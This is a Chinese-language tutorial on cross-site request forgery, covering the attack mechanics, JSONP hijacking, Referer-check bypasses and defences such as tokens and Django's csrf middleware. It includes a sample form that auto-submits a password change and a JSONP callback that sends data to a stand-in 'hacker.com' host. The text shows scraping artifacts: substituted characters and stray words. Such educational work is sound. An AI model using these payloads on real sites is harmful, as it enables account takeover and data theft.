CSRF,也稱XSRF,即跨站請求僞造攻擊,與XSS類似,但與XSS相比更難防範,是一種普遍存在於網站中的安全漏洞,常常與XSS一塊兒配合攻擊。
javascript
攻擊者經過盜用用戶身份悄悄發送一個請求,或執行某些惡意操做。
CSRF漏洞產生的主要緣由:php
關於CSRF的執行過程,這裏引用自hyddd大佬畫的圖:
咱們知道,當咱們使用img等標籤時,經過設置標籤的src等屬性引入外部資源,是能夠被瀏覽器認爲是合法的跨域請求,也就是說是能夠帶上Cookie訪問的。
試想一下,若是咱們在a.com上放置一個img標籤<img src=//b.com/del?id=1>
。當b.com的用戶在cookie沒過時的狀況下訪問a.com,此時瀏覽器會向b.com發送一個指向http://b.com/del?id=1
的GET
請求,而且這個請求是帶上Cookie的,而b.com的服務器僅僅是經過cookie進行權限判斷,那麼服務器就會進行相應的操做,好比假設此處爲刪除某個文章,用戶在不知情的狀況下便已完成操做。html
這裏涉及到同源策略,若是不是很清楚能夠先去了解一下。前端
咱們知道,根據同源策略的規定,跨域請求是不容許帶上Cookie等信息的,但是出於種種考慮最終沒有進行徹底禁止,即存在某些合法的跨域請求。
一般由HTML標籤src
、lowsrc
等屬性產生的跨域請求是被瀏覽器認爲是合法的跨域請求,而且此時並不須要javascript的參與。
由HTML標籤發出的合法跨域請求與正常的用戶點擊發出的請求相比所不一樣的是:二者請求頭中的Referer值不一樣。
不過值得說明的是IE瀏覽器在面對這種狀況時會判斷本地Cookie是否帶上P3P屬性,若是僅僅是內存Cookie則不受此影響。
CSRF不只僅只能針對GET請求,也能夠針對POST請求,不過只能使用from標籤進行自動提交,注意此處需用到javascript。java
<html> <head></head> <body> <form action="http://a.com/changepass" method="POST"> <input type="hidden" name="username" value="victim"> <input type="hidden" name="password" value="hacker"> <input id="sub" type="submit"> //可用樣式表將按鈕隱藏 </form> <script> document.getElementById("sub").click() </script> </body> </html>
除了經過HTML標籤發送跨域請求外,還能夠經過Ajax來發送跨域狀況,不過Ajax是嚴格遵照CORS規則的。
關於CORS規則,不清楚的能夠去看看evoA大佬的一篇文章跨域方式及其產生的安全問題。
簡單來講就是須要構造的xhr的withCredentials
屬性也爲true
才能帶上Cookie進行跨域請求,與IE兼容性很差,且構造難度較Html複雜,故一般狀況下咱們不使用Ajax來進行CSRF攻擊。
一般使用Ajax來跨域進行CSRF攻擊的漏洞通常都配合XSS漏洞,此時的Ajax與目標域相同,不受CORS的限制。web
攻擊者構造惡意html,經過引誘用戶/管理員訪問,觸發CSRF漏洞。
ajax
CSRF+XSS結合,產生的危害已幾何倍數劇增。若是CSRF和XSS兩個漏洞是在同一個域下的話,那麼此時的CSRF已經變成了OSRF了,即本站點請求僞造(出自黑客攻防技術寶典Web實戰篇第二版p366),此時已經變成XSS的請求僞造攻擊,本文不在贅述。django
咱們知道網站api返回的數據類型通常爲json型或Array型,這裏咱們僅討論json型。
當咱們須要調用遠程api時json返回的數據通常以下:json
user({"name":"Yunen","work":"Student","xxxx":"xxxxxxxxx",......})
這是由於開發者若是須要調用遠程服務器的api獲取json數據,因爲同源策略的限制,經過ajax獲取就會顯得比較麻煩,相比之下<script>
標籤的開放策略,無疑是最好的方法去彌補這一缺陷,使得json數據能夠進行方便的跨域傳輸。此處的user爲回調函數名,通常爲某個請求參數值(好比:callback),就上述例子說,只須要經過下面方法便可調用返回的數據:api
<script> function user(data){ console.log(data);//此時的json數據已經存儲進了data變量中 } </script>
這種遠程api接口十分容易受到CSRF攻擊,咱們能夠經過修改callback參數值並添加自定義函數,如:
<html> <head></head> <body> <script> function jsonphack(data){ new image().src="http://hacker.com/json.php?data="+escape(data); //將json返回的數據發送到黑客服務器上 } </script> <script src="http://127.0.0.1/1.php?callback=jsonphack"></script> </body> </html>
從零開始學CSRF
Web安全系列 -- Csrf漏洞
phpMyAdmin 4.7.x CSRF 漏洞利用
前邊咱們說到,產生CSRF的緣由主要有兩點,那麼咱們能夠針對這兩點進行相應的防護。
咱們知道CSRF攻擊的請求除了Cookie之外,其餘的內容必須提早肯定好,那麼若是咱們在服務端要求提交的某一個參數中是隨機的值呢?
這裏咱們稱這個隨機的、沒法被預計的值叫作Token,通常是由服務端在接收到用戶端請求後生成,返回給用戶的Token一般放置在hidden表單或用戶的Cookie裏。
當用戶打開正常的發送請求的頁面時,服務器會生成一串隨機的Token值給瀏覽器,在發送請求時帶上此Token,服務端驗證Token值,若是相匹配才執行相應的操做、銷燬原Token以及生成並返回新的Token給用戶,這樣作不只僅起到了防護CSRF的做用,還能夠防止表單的重複提交。
因爲HTML標籤產生的合法跨域只能是單向請求,沒法經過CSRF直接取返回的內容,因此咱們沒法使用CSRF先取Token值再構造請求,這使得Token能夠起到防護CSRF的做用。
注意Token不該該放置在網頁的Url中,若是放在Url中當瀏覽器自動訪問外部資源,如img標籤的src屬性指向攻擊者的服務器,Token會出現做爲Referer發送給外部服務器,如下爲相關實例:
前邊咱們提到,CSRF僞造的請求與用戶正常的請求相比最大的區別就是請求頭中的Referer值不一樣,使用咱們能夠根據這點來防護CSRF。
在接收請求的服務端判斷請求的Referer頭是否爲正常的發送請求的頁面,若是不是,則進行攔截。
不過此方法有時也存在着必定的漏洞,好比可繞過等,因此最好仍是使用Token。
判斷Referer的通常方法就是利用正則進行判斷,而判斷Referer的正則必定要寫全,否則就會如上所說,可繞過!曾經的Wooyun上就有許多CSRF的漏洞是因爲Referer的正則不規範致使。
好比^http\:\/\/a\.com
,只驗證了是否Referer是否以http://a.com
開頭,但是沒想到咱們能夠在本身的頂級域名添加一個子域名http://a.com.hacker.com
;還有http\:\/\/a\.com\/
,經過http://hacker.com/?http://a.com/
繞過。如下相關例子均爲Referer繞過:
有些網站因爲歷史緣由會容許空Referer頭,當https向http進行跳轉時,使用Html標籤(如img、iframe)進行CSRF攻擊時,請求頭是不會帶上Referer的,能夠達到空Referer的目的。
在發送請求前先須要輸入基於服務端判斷的驗證碼,機制與Token相似,防護CSRF效果很是好,不過此方法對用戶的友好度不好。
關於CSRF的防禦應首先關注高危操做的請求,好比:網上轉帳、修改密碼等,其次應重點關注那些能夠散播的,好比:分享連接、發送消息等,再者是能輔助散播的,如取用戶好友信息等,由於前者加上後者製造出來的CSRF蠕蟲雖不如XSS蠕蟲威力大,但是也不可小覷。最後應關注那些高權限帳戶可以進行的特權操做,如:上傳文件、添加管理員,在許多滲透測試中,即是起初利用這點一擼到底。
新建個Django項目,打開項目下的settings.py文件,能夠看到這麼一行代碼:django.middleware.csrf.CsrfViewMiddleware
這個就是Django的CSRF防護機制,當咱們發送POST請求時Django會自動檢測CSRF_Token值是否正確。咱們把Debug
打開,能夠看到若是咱們的POST請求無CSRF_Token這個值,服務端會返回403報錯。
如今咱們往表單上添加CSRF_Token的驗證:
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <title>Title</title> </head> <body> <form action="/login/" method="post"> {% raw %}{{% endraw %}% csrf_token %} //添加Token <input type="text" name="user" /> <input type="text" name="pwd" /> <input type="submit" value="登錄" /> </form> </body> </html>
下圖爲生成的HTML,能夠看到{% raw %}{{% endraw %}% csrf_token %}
這串代碼被Django解析成了一個隱藏的input
標籤,其中的值爲token值,當咱們發送請求時必須帶上這個值。
只有這樣Django纔會接受POST請求來的數據,不然返回錯誤,而且原登錄頁面的CSRF_Token從新生成,上一個進行銷燬,很大程度上防護住了POST請求的CSRF。
補充一張暴漫系列圖,引用自先知社區《聊聊CSRF漏洞攻防----久等的暴漫》做者:farmsec:
eval(window.name)
,那麼咱們構造的iframe標籤裏能夠添加個name屬性與子頁面進行通訊,例子:wooyun-2015-089971。從上到下挖掘難度依次遞增
CSRF攻擊不受Cookie的HttpOnly屬性影響。
若是一個網站存在XSS漏洞,那麼以上針對CSRF的防護幾乎失去了做用。
鑑於Flash的涼勢,這裏暫不作研究以節省時間。
就目前而言,CSRF這個沉睡的巨人很有一番甦醒的意味,可致使的危害也正在逐步的爲人們所知,但目前仍有許多開發人員尚未足夠的安全意識,覺得只要驗證Cookie就能肯定用戶的真實意圖了,這就致使了目前仍有大量潛在的CSRF漏洞的局面,CSRF是不可小覷的漏洞,但願你們看完這篇文章能對CSRF有個較爲清晰的認識。
雖然說這篇文章內容較爲基礎,但也是我熟讀幾本相關書籍與相關文章、研究已知漏洞,所寫出來的一篇半總結,半思考文章,也許裏邊會有些錯誤,麻煩各位表哥斧正,若是有想要與我交流相關內容的能夠email我(asp-php#foxmail.com #換成@)。
書籍:
《Web前端黑客技術揭祕》p83-p96
《XSS跨站腳本攻擊剖析與防護》p182-p187
《黑客攻防技術寶典Web實戰篇第二版》p368-p374
文章:
CSRF漏洞挖掘
WEB安全之Token淺談
跨域方式及其產生的安全問題
Django中CSRF原理及應用詳解
CSRF簡單介紹及利用方法 | WooYun知識庫
原生JSONP實現_動態加載js(利用script標籤)